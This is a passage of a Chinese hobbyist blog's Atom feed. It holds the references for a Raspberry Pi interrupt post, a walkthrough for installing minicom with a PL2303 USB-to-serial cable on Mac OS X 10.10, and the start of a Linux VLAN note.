&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid27&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid28&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid29&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;參考資料:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid30&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;[1]&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 attrlink url url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a class=&quot;attrlink&quot; href=&quot;http://sp1.wikidot.com/arm&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; cursor: pointer; margin: 0px; padding: 0px; transition: color 0.2s ease-in;&quot;&gt;http://sp1.wikidot.com/arm&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;陳鐘誠老師的網站。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid31&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;https://embedded-note.hackpad.com/ARM-Cortex-MFreeRTOS-JJEh9CE4gel&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;https://embedded-note.hackpad.com/ARM-Cortex-MFreeRTOS-JJEh9CE4gel&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid32&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://wiki.csie.ncku.edu.tw/embedded/2014q3w8&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://wiki.csie.ncku.edu.tw/embedded/2014q3w8&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid33&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 attrembed embed&quot; style=&quot;background-image: url(&amp;quot;https://dakdwippfbduw.cloudfront.net/static/img/misc/status-ball.gif&amp;quot;); background-position: 50% 50%; background-repeat: no-repeat no-repeat; border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: transparent; cursor: auto; display: block; margin: 0px; min-height: 16px; min-width: 16px; padding: 0px; text-align: center;&quot;&gt;&lt;span class=&quot;inline-embed&quot; embed=&quot;http://www.amazon.com/ARM-System-Developers-Guide-Architecture/dp/1558608745&quot; style=&quot;cursor: auto; margin: 0px; padding: 0px; position: relative;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;embed-1144728159&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;
&lt;span class=&quot;author-p-263538 attrembed embed&quot; style=&quot;background-image: url(&amp;quot;https://dakdwippfbduw.cloudfront.net/static/img/misc/status-ball.gif&amp;quot;); background-position: 50% 50%; background-repeat: no-repeat no-repeat; border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: transparent; cursor: auto; display: block; margin: 0px; min-height: 16px; min-width: 16px; padding: 0px; text-align: center;&quot;&gt;&lt;span class=&quot;inline-embed&quot; embed=&quot;http://www.amazon.com/ARM-System-Developers-Guide-Architecture/dp/1558608745&quot; style=&quot;cursor: auto; margin: 0px; padding: 0px; position: relative;&quot;&gt;&lt;img class=&quot;inline-img&quot; src=&quot;https://i.embed.ly/1/image?url=http%3A%2F%2Fecx.images-amazon.com%2Fimages%2FI%2F41JKM615IML.jpg&amp;amp;key=de2bc278c3984dfbbd9080399d8616f8&quot; style=&quot;cursor: -webkit-zoom-in; margin: 0px; max-width: 100%; padding: 0px;&quot; /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span class=&quot;author-p-263538 attrembed embed&quot; style=&quot;background-image: url(&amp;quot;https://dakdwippfbduw.cloudfront.net/static/img/misc/status-ball.gif&amp;quot;); background-position: 50% 50%; background-repeat: no-repeat no-repeat; border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: transparent; cursor: auto; display: block; margin: 0px; min-height: 16px; min-width: 16px; padding: 0px; text-align: center;&quot;&gt;&lt;span class=&quot;inline-embed&quot; embed=&quot;http://www.amazon.com/ARM-System-Developers-Guide-Architecture/dp/1558608745&quot; style=&quot;cursor: auto; margin: 0px; padding: 0px; position: relative;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid34&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;ARM System Developer&#39;s Guide&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid35&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://www.amazon.com/ARM-System-Developers-Guide-Architecture/dp/1558608745&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://www.amazon.com/ARM-System-Developers-Guide-Architecture/dp/1558608745&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid36&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;一步步写嵌入式操作系统&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid37&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://book.douban.com/subject/5404177/&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://book.douban.com/subject/5404177/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid38&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://stackoverflow.com/questions/8936022/setting-up-interrupt-vector-table-armv6&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://stackoverflow.com/questions/8936022/setting-up-interrupt-vector-table-armv6&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid39&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://lars.nocrew.org/computers/processors/ARM/ARMv6.pdf&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://lars.nocrew.org/computers/processors/ARM/ARMv6.pdf&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid40&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://stackoverflow.com/questions/8957474/calling-arm-assembly-from-c-gcc-bare-metal%3E&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://stackoverflow.com/questions/8957474/calling-arm-assembly-from-c-gcc-bare-metal%3E&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid41&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://read.pudn.com/downloads153/doc/672477/%E6%9D%A8%E5%AE%97%E5%BE%B7_%E5%B5%8C%E5%85%A5%E5%BC%8FARM%E7%B3%BB%E7%BB%9F%E5%8E%9F%E7%90%86%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%BC%80%E5%8F%91/CH06.pdf&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://read.pudn.com/downloads153/doc/672477/杨宗德_嵌入式ARM系统原理与实例开发/CH06.pdf&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/4104604328228885884/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/4104604328228885884' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/4104604328228885884'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/4104604328228885884'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2015/02/osraspberry-pi-interrupt-example.html' title='自己動手做OS之Raspberry Pi interrupt example 筆記'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-5834805117068979251</id><published>2015-01-29T20:20:00.001+08:00</published><updated>2015-01-29T20:21:27.422+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="os x"/><title type='text'>MAC OS X 10.10 minicom USB to serial 安裝</title><content type='html'>&lt;br /&gt;
1. 下載 minicom 2.7&lt;br /&gt;
&lt;a href=&quot;https://alioth.debian.org/projects/minicom/&quot;&gt;https://alioth.debian.org/projects/minicom/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
2.解開後&lt;br /&gt;
./configure (我的安裝時說automake需要安裝Xcode，就安裝先囉)&lt;br /&gt;
make&lt;br /&gt;
sudo make install&lt;br /&gt;
&lt;br /&gt;
3. 上usb-to-serial cable網站我的chip是PL2303 -&amp;gt;&lt;br /&gt;
&lt;b style=&quot;background-color: #c1cfd0; color: #222222; font-family: arial, sans-serif; font-size: 13px;&quot;&gt;&lt;span style=&quot;color: #494949; font-family: simsun;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 21px;&quot;&gt;系統偏好設定&amp;gt;安全性與隱私&amp;gt;允許安裝&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
查詢我的設備是tty.usbserial&lt;br /&gt;
&lt;br /&gt;
&lt;code style=&quot;background-color: #c1cfd0; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; color: rgb(255, 20, 147) !important; float: none !important; font-family: Consolas, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, Courier, monospace !important; font-size: 14px; line-height: 15.3999996185303px; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; vertical-align: baseline !important; white-space: pre-wrap; width: auto !important; word-wrap: break-word;&quot;&gt;ls&lt;/code&gt;&lt;span style=&quot;background-color: #f8f8f8; color: #555555; font-family: Consolas, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, Courier, monospace; font-size: 14px; line-height: 15.3999996185303px; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;code style=&quot;background-color: #c1cfd0; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; float: none !important; font-family: Consolas, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, Courier, monospace !important; font-size: 14px; line-height: 15.3999996185303px; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; vertical-align: baseline !important; white-space: pre-wrap; width: auto !important; word-wrap: break-word;&quot;&gt;-1 &lt;/code&gt;&lt;code style=&quot;background-color: #c1cfd0; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; float: none !important; font-family: Consolas, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, Courier, monospace !important; font-size: 14px; line-height: 15.3999996185303px; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; vertical-align: baseline !important; white-space: pre-wrap; width: auto !important; word-wrap: break-word;&quot;&gt;/dev/tty&lt;/code&gt;&lt;code style=&quot;background-color: #c1cfd0; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; float: none !important; font-family: Consolas, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, Courier, monospace !important; font-size: 14px; line-height: 15.3999996185303px; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; vertical-align: baseline !important; white-space: pre-wrap; width: auto !important; word-wrap: break-word;&quot;&gt;.*&lt;/code&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #c1cfd0; font-family: Consolas, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, Courier, monospace; font-size: 14px; line-height: 15.3999996185303px; white-space: pre-wrap;&quot;&gt;/dev/tty.usbserial&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4.執行minicom -s 設定&amp;gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #c1cfd0; color: #494949; font-family: simsun; font-size: 14px; line-height: 21px;&quot;&gt;Serial port setup -&amp;gt; A - Serial Device:&lt;/span&gt;&lt;span style=&quot;background-color: #c1cfd0; color: #494949; font-family: Menlo; font-size: 14px; word-break: normal; word-wrap: normal;&quot;&gt;&lt;b style=&quot;color: #ed1c24;&quot;&gt;/dev/tty.usbserial&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #c1cfd0; color: #494949; font-family: Menlo; font-size: 14px; word-break: normal; word-wrap: normal;&quot;&gt;&lt;span style=&quot;font-family: simsun; line-height: 21px;&quot;&gt;-&amp;gt; F - Hardware Flow Control:&lt;/span&gt;&lt;span style=&quot;color: #ed1c24; font-family: simsun; line-height: 21px; word-break: normal; word-wrap: normal;&quot;&gt;&lt;b&gt;NO&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b style=&quot;background-color: #c1cfd0; color: #494949; font-family: simsun; font-size: 14px; line-height: 21px;&quot;&gt;選: save setup as dfl &amp;nbsp;-&amp;gt; 發現錯誤 sudo mkdir /usr/local/etc -&amp;gt; sudo chmod 777 /usr/local/etc&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;background-color: #c1cfd0; color: #494949; font-family: simsun; font-size: 14px; line-height: 21px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
nailed it!!!&lt;br /&gt;
&lt;span style=&quot;color: #494949; font-family: simsun;&quot;&gt;&lt;span style=&quot;background-color: #c1cfd0; font-size: 14px; line-height: 21px;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/5834805117068979251/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/5834805117068979251' title='2 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/5834805117068979251'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/5834805117068979251'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2015/01/mac-os-x-minicom-usb-to-serial.html' title='MAC OS X 10.10 minicom USB to serial 安裝'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-4948545538095681250</id><published>2015-01-26T15:52:00.001+08:00</published><updated>2016-12-27T09:20:02.276+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><title type='text'>Linux VLAN 筆記 </title><content type='html'>&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid2&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 9px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; font-family: , &amp;quot;nova&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif; font-size: 40px; font-weight: 700; line-height: 50px; margin: 0px; padding: 0px;&quot;&gt;Linux VLAN 筆記&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid3&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter toc-entry&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid4&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 b&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; font-size: 20px; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 0px; padding: 0px;&quot;&gt;kernel 開啟802.1q功能後，便可以透過簡單指令，設定VLAN.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
